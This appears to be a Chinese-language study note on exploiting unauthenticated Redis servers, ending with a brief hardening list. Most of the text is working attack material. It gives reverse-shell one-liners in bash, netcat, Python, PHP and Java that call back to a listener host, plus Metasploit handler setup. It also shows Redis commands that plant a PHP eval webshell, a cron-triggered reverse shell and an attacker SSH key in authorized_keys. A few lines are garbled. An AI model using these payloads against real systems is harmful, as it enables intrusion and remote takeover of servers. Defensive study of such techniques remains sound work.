网安-中间件-Redis未授权访问漏洞

|--------|-------------------------------------------------------------------------------------------------------------------------|
| 类型 | 命令 |
| netcat | nc -lvnp 8888 |
| msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.6.131 set lport 8888 run |
| socat | socat TCP-LISTEN:8888 - （kali） |

常见建立反弹连接的方式

|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 类型 | 命令 |
| Linux bash | bash -i >& /dev/tcp/192.168.6.131/8888 0>&1 |
| netcat | nc -e /bin/bash 192.168.6.131 8888 |
| Python | python - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']); |
| PHP | php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");' php -r ' $sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i\<\&3 \>\&3 2\>\&3");' | | Java | r=Runtime.getRuntime() p= r.(\["/bin/bash","-c",exec 5\<\>/dev/tcp/192.168.6.131/8888;cat\<\&5 \| while read line; do \\$ line 2>&5 >&5; done"] as String[]) p.waitFor() |
| ... | ... |

bash反弹连接

bash -i >& /dev/tcp/192.168.6.131/8888 0>&1

打开一个交互式的bash终端

与远程机器建立一个socket连接

将标准错误输出合并到标准输出中
将标准输入重定向到标准输出中

防火墙CentOS

systemctl status firewalld

systemctl start firewalld

firewall-cmd --zone=public --add-port=7777/tcp -- permanent

firewall-cmd --reload

systemctl stop firewalld

流程

1.监听端口

2.执行命令，或者上传payload访问，建立连接

上传

1.文件上传漏洞

2.写入文件：MySQL、Redis、CMS

3.文本编辑命令：tee（vulnhub-breach）、test.py（vulnhub-DC9）
执行

访问或者定时任务自动触发

Linux crontab

|---------------------------|---------------|
| 命令 | 操作 |
| crontab -u root -r | 删除某个用户的任务 |
| crontab -u root time.cron | 把文件添加到某个用户的任务 |
| crontab -u root -l | 列举某个用户的任务 |
| crontab -u root -e | 编辑某个用户的任务 |

cron文件存储路径

|-----------------|-----------------------------------------|
| 路径 | 内容 |
| /var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
| /etc/crontab | 放的是对应周期的任务dalily、hourly 、monthly、weekly |

利用Redis实现攻击

1.webshell提权案例

server:192.168.6.66

client:192.168.6.131

client：写入一句话木马

set h "<?php @eval($_POST[cmd]); ?>"

server：利用蚁剑连接

2.定时任务shell反弹案例

client: 在定时任务里写入反弹shell

set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"

server:查看定时任务

client:反弹成功

3.SSH Key getshell案例

SSH key免密登录

1.客户端生成密钥对（公钥、私钥）

2.客户端把公钥发给服务端保存（正常情况需要密码）

3.客户端用私钥加密消息，发给服务端

4.服务端用公钥解密，解密成功，说明密钥匹配

5.客户端免密登录成功

"你之前保存了我的公钥，所以可以解密我的消息，所以认得我"

redis利用SSH Key提权流程

控制机连接到Redis

向$HOME/.ssh/authorized_keys写入公钥

ssh -i ./id_rsa user@IP 使用私钥免密登录

执行后续操作

前提：server有.ssh

client:生成密钥

ssh-keygen

set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"

server：

client利用私钥登录

ssh -i ./id_rsa root@192.168.6.66

Redis其他利用方式

基于主从复制的RCE（Remote Code Execution）

jackson 反序列化利用

lua RCE

Redis密码爆破

Redis加固

1.限制访问IP

2.修改默认端口

3.使用密码St访ruct问ured Query Language

4.不要用root运行Redis